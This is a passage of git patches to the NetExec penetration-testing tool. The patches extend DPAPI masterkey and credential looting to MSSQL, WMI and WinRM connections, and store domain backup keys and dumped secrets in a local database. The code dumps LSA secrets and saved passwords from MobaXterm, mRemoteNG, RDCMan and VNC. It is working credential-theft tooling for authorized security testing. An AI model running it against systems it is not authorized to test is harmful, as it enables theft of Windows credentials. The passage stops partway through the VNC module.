self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 - self.logger.success(f"Loading domain backupkey from {self.args.pvk}") - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None: - self.pvkbytes = get_domain_backup_key(self) + self.dpapi_triage.triage_dpapi() + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage target = Target.create( domain=self.domain, username=self.username, @@ -545,28 +514,8 @@ def dpapi(self): nthash=self.nthash, do_kerberos=self.kerberos, aesKey=self.aesKey, - no_pass=True, use_kcache=self.use_kcache, ) - conn = upgrade_to_dploot_connection(context=self, target=target, protocol="wmi") - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - masterkeys = collect_masterkeys_from_target(self, target, conn) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - - dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) - dpapi_triage.triage(masterkeys) - - if self.output_file: - self.output_file.close() - with open(self.output_file_template.format(output_folder="dpapi")) as f: - if sum(1 for _ in f) == 0: - self.logger.fail("No dpapi loot retrieved") \ No newline at end of file + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage \ No newline at end of file From 2d35724a6e8e58309bfe354afd5c6c27d60ded70 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 17:53:00 +0200 Subject: [PATCH 118/397] add dpapi for mssql --- nxc/helpers/dpapi.py | 5 +- nxc/protocols/mssql.py | 41 ++++++++- nxc/protocols/mssql/database.py | 142 +++++++++++++++++++++++++++++- nxc/protocols/mssql/proto_args.py | 3 + 4 files changed, 188 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index c2a7973cea..351d04650b 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -42,7 +42,10 @@ def upgrade_to_dploot_connection(target, context=None): else: conn.connect() case "mssql": - from dploot.lib.network.mssql import MSSQLTarget + from dploot.lib.network.mssql import DPLootMSSQLConnection + conn = DPLootMSSQLConnection(target) + if context is not None: + conn.conn = context.conn except Exception as e: print(e) return None diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 4ffb4fbd1d..a50c3539e0 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -1,6 +1,7 @@ import os import random import contextlib +import binascii from termcolor import colored from nxc.config import process_secret, host_info_colors @@ -11,8 +12,11 @@ from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message from nxc.helpers.powershell import create_ps_command +from nxc.helpers.dpapi import DPAPITriage from nxc.protocols.mssql.mssqlexec import MSSQLEXEC +from dploot.lib.network.mssql import MSSQLTarget as Target + from impacket import tds, ntlm from impacket.krb5.ccache import CCache from impacket.dcerpc.v5.dtypes import SID @@ -44,6 +48,10 @@ def __init__(self, args, db, host): self.lmhash = "" self.nthash = "" self.no_ntlm = False + self.dpapi_system_key = None + self.no_da = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -616,12 +624,43 @@ def lsa(self): self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() + def lsa_secret_callback(_, secret): + self.logger.highlight(secret) + if "dpapi_machinekey" in secret: + correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} + self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lsa_secret_callback, ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + @requires_admin + def dpapi(self): + self.dpapi_triage.triage_dpapi() + + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + port=self.port, + hashes=f":{self.nthash}", + do_kerberos=self.kerberos, + kdcHost=self.kdcHost, + use_kcache=self.use_kcache, + aesKey=self.aesKey, + db_auth=self.args.local_auth, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage \ No newline at end of file diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index a592bd3e44..d7b2089b4a 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,6 +1,6 @@ import warnings -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base @@ -19,6 +19,8 @@ def __init__(self, db_engine): self.HostsTable = None self.UsersTable = None self.AdminRelationsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) @@ -75,6 +77,32 @@ class LoggedInRelation(Base): ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) @@ -84,6 +112,8 @@ def reflect_tables(self): self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq): """ @@ -353,3 +383,113 @@ def remove_loggedin_relations(self, user_id=None, host_id=None): elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this group ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results \ No newline at end of file diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..c87f737549 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -16,6 +16,9 @@ def proto_args(parser, parents): cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cgroup = mssql_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") From f476bf2313bfb9248579fdcbf01cfece5536a1c1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 18:14:12 +0200 Subject: [PATCH 119/397] fix mssql dabatase for backupkey --- nxc/protocols/mssql/database.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index d7b2089b4a..392fc8c8ab 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,4 +1,5 @@ import warnings +import base64 from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean from sqlalchemy.dialects.sqlite import Insert # used for upsert From f0047bc3210eea870d62699e013f091b18dfca1e Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 20:00:05 +0200 Subject: [PATCH 120/397] fix dploot related modules --- nxc/helpers/dpapi.py | 14 ++--- nxc/modules/dpapi_hash.py | 33 ++---------- nxc/modules/firefox.py | 2 +- nxc/modules/mobaxterm.py | 34 ++---------- nxc/modules/mremoteng.py | 63 ++++------------------ nxc/modules/rdcman.py | 34 ++---------- nxc/modules/vnc.py | 110 ++++++++++++-------------------------- nxc/modules/wam.py | 33 ++---------- nxc/modules/wifi.py | 34 ++---------- 9 files changed, 74 insertions(+), 283 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 351d04650b..07feff0118 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -61,11 +61,15 @@ def __init__(self, context, target:Target): self.dump_cookies = False self.masterkeys = [] self.pvkbytes = None - self.dump_cookies="cookies" in context.args.dpapi + + if context.args.dpapi is not None: + self.dump_cookies="cookies" in context.args.dpapi self.system_masterkeys_already_dumped=False self.users_masterkeys_already_dumped=False + self.init_connection() + def init_connection(self): if self.conn is not None: self.context.logger.debug("DPLoot connection already initiated, skipping.") @@ -148,6 +152,8 @@ def collect_masterkeys_from_target(self, dump_users:True, dump_system:False): plaintexts[self.context.username.lower()] = self.context.password if self.context.nthash != "": nthashes[self.context.username.lower()] = self.context.nthash + + self.get_domain_backup_key() # Now prepare the SYSTEM part if dump_system and self.context.dpapi_system_key is None: @@ -324,10 +330,6 @@ def firefox_callback(secret): # The dpapi function for every protocol def triage_dpapi(self): self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - self.pvkbytes = self.get_domain_backup_key() - - self.init_connection() - masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) if len(masterkeys) == 0: self.context.logger.fail("No masterkeys looted") @@ -347,8 +349,6 @@ def triage_dpapi(self): self.context.logger.fail("No dpapi loot retrieved") def triage_sccm(self): - self.init_connection() - masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) if len(masterkeys) == 0: self.context.logger.fail("No masterkeys looted") diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 98ed3da03d..1ee914f3e9 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -1,15 +1,12 @@ -from dploot.lib.target import Target from dploot.triage.masterkeys import MasterkeysTriage from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection - # Based on dpapimk2john, original work by @fist0urs class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" - supported_protocols = ["smb"] + supported_protocols = ["smb","wmi","winrm","mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): @@ -19,33 +16,11 @@ def options(self, context, module_options): self.outputfile = module_options["OUTPUTFILE"] def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - try: context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, + target=connection.dpapi_triage.target, + conn=connection.dpapi_triage.conn, ) context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") context.log.debug("Collecting user masterkeys") @@ -60,4 +35,6 @@ def on_admin_login(self, context, connection): context.log.highlight(mkhash) except Exception as e: + import traceback + traceback.print_exc() context.log.debug(f"Could not get masterkeys: {e}") diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index ef54175ae4..556785ecb7 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,6 +1,6 @@ from dploot.lib.target import Target from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage +from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index dc8c923a89..21dcc736d1 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,52 +1,26 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword -from dploot.lib.target import Target from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "mobaxterm" description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export" - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - self.pvkbytes = get_domain_backup_key(connection) - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") + context.log.success("Looting MobaXterm secrets") def mobaxterm_callback(credential): if isinstance(credential, MobaXtermCredential): @@ -56,7 +30,7 @@ def mobaxterm_callback(credential): context.log.highlight(f"[{credential.winuser}] {log_text}") try: - triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) + triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index c26f76f24e..4019183ffb 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,12 +1,10 @@ import ntpath -from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify from base64 import b64decode import hashlib from dataclasses import dataclass from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection @dataclass @@ -25,7 +23,7 @@ class NXCModule: name = "mremoteng" description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) " - supported_protocols = ["smb"] + supported_protocols = ["smb","wmi","winrm","mssql"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): @@ -68,70 +66,31 @@ def options(self, context, module_options): self.custom_path = module_options["CUSTOM_PATH"] def on_admin_login(self, context, connection): - # 1. Evole conn into dploot conn self.context = context self.connection = connection - self.share = connection.args.share - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if dploot_conn is None: - context.log.debug("Could not upgrade connection") - return - - # 2. Dump users list - users = self.get_users(dploot_conn) + self.share = connection.args.share if hasattr(connection.args,"share") else "C$" + self.dploot_conn = connection.dpapi_triage.conn + + users = self.dploot_conn.list_users() - # 3. Search for mRemoteNG files + # Search for mRemoteNG files for user in users: for path in self.mRemoteNg_path: user_path = ntpath.join(path.format(username=user), "confCons.xml") - content = dploot_conn.readFile(self.share, user_path) + content = self.dploot_conn.read_file(share=self.share, path=user_path) if content is None: continue self.context.log.info(f"Found confCons.xml file: {user_path}") self.handle_confCons_file(content) for path in self.custom_user_path: user_path = path.format(username=user) - self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) + self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) if self.custom_path is not None: - content = dploot_conn.readFile(self.share, self.custom_path) + content = self.dploot_conn.read_file(share=self.share, path=self.custom_path) if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - def get_users(self, conn): - users = [] - - users_dir_path = "Users\\*" - directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability - return users - def handle_confCons_file(self, file_content): main = objectify.fromstring(file_content) encryption_attributes = MRemoteNgEncryptionAttributes( @@ -166,7 +125,7 @@ def parse_xml_nodes(self, main): return nodes def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10): - directory_list = conn.remote_list_dir(self.share, directory_path) + directory_list = conn.list_dir(share=self.share, path=directory_path) if directory_list is not None: for item in directory_list: if item.get_longname() not in self.false_positive: @@ -178,7 +137,7 @@ def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_m # It's a file, download it to the output share if the mask is ok if "confCons.xml" in item.get_longname(): self.context.log.info(f"Found confCons.xml file: {new_path}") - content = conn.readFile(self.context.share, new_path) + content = conn.read_file(share=self.share, path=new_path) self.handle_confCons_file(content) def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index d53f4e5bae..22769fa0d2 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,55 +1,29 @@ from dploot.triage.rdg import RDGTriage, RDGServerProfile -from dploot.lib.target import Target from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "rdcman" description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" - supported_protocols = ["smb"] + supported_protocols = ["smb","wmi","winrm","mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - self.pvkbytes = get_domain_backup_key(connection) - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets") + context.log.success("Looting RDCMan secrets") try: - triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys) + triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) rdcman_files, rdgfiles = triage.triage_rdcman() for rdcman_file in rdcman_files: if rdcman_file is None: diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index faea5c4444..82fd5d136f 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -1,6 +1,5 @@ import ntpath import tempfile -from dploot.lib.target import Target from impacket.dcerpc.v5 import rrp from impacket import winregistry @@ -12,7 +11,6 @@ import codecs import re from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection class NXCModule: @@ -23,7 +21,7 @@ class NXCModule: name = "vnc" description = "Loot Passwords from VNC server and client configurations" - supported_protocols = ["smb"] + supported_protocols = ["smb","wmi","winrm"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): @@ -49,39 +47,17 @@ def options(self, context, module_options): def on_admin_login(self, context, connection): self.context = context self.connection = connection - self.share = self.connection.args.share + self.share = self.connection.args.share if hasattr(self.connection.args,"share") else "C$" - host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") + dploot_conn = connection.dpapi_triage.conn - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn) if not self.no_remoteops: - remote_ops = RemoteOperations(connection.conn, False) - remote_ops.enableRegistry() - self.vnc_from_registry(remote_ops) - self.vnc_client_proxyconf_extract(dploot_conn, remote_ops) + self.vnc_from_registry(dploot_conn) + self.vnc_client_proxyconf_extract(dploot_conn) self.vnc_from_filesystem(dploot_conn) - def reg_query_value(self, remote_ops, path, key, hku=False): + def reg_query_value(self, dploot_conn, path, key, hku=False): + dploot_conn.reg_get_key_value() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] @@ -102,26 +78,31 @@ def reg_query_value(self, remote_ops, path, key, hku=False): except rrp.DCERPCSessionError as e: self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}") - def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None): + def vnc_client_proxyconf_extract(self, dploot_conn): vnc_client_softwares = [ ("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]), ] - users = self.get_users(remote_ops) + users = self.get_users(dploot_conn) + if dploot_conn.target.protocol != "smb": + self.context.log.warn(f"Downloading NTUSER.DAT for offline users, will be slow") for user, sid in users.items(): ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT") try: - ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path) + ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path) except Exception as e: self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}") for vnc_name, registry_path, registry_keys in vnc_client_softwares: cred = {} - if ntuser_dat_bytes is None and remote_ops is not None: + if ntuser_dat_bytes is None: user_registry_path = ntpath.join(sid, registry_path) try: - password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode() + password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1]) + if password is None: + continue + password = password.encode().rstrip(b"\x00").decode() cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") - cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True) - cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True) + cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2]) + cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0]) except Exception as e: if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}") @@ -141,7 +122,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None): self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") - def vnc_from_registry(self, remote_ops): + def vnc_from_registry(self, dpapi_conn): vncs = ( ("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"), ("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"), @@ -151,12 +132,7 @@ def vnc_from_registry(self, remote_ops): ("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"), ) for vnc_name, path, key in vncs: - try: - value = self.reg_query_value(remote_ops, path, key) - except Exception as e: - if "ERROR_FILE_NOT_FOUND" not in str(e): - self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}") - continue + value = dpapi_conn.reg_get_key_value("HKLM", path, key) if value is None: continue value = value.rstrip(b"\x00") @@ -171,7 +147,10 @@ def vnc_from_registry(self, remote_ops): for vnc_name, path, user, password, server in vnc_users: cred = {} try: - value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode() + value = dpapi_conn.reg_get_key_value("HKLM",path, password) + if value is None: + continue + value = value.encode().rstrip(b"\x00").decode() value = unhexlify(value) except Exception as e: if "ERROR_FILE_NOT_FOUND" not in str(e): @@ -181,8 +160,8 @@ def vnc_from_registry(self, remote_ops): continue cred["password"] = self.recover_vncpassword(value).decode() try: - cred["server"] = self.reg_query_value(remote_ops, path, server) - cred["user"] = self.reg_query_value(remote_ops, path, user) + cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server) + 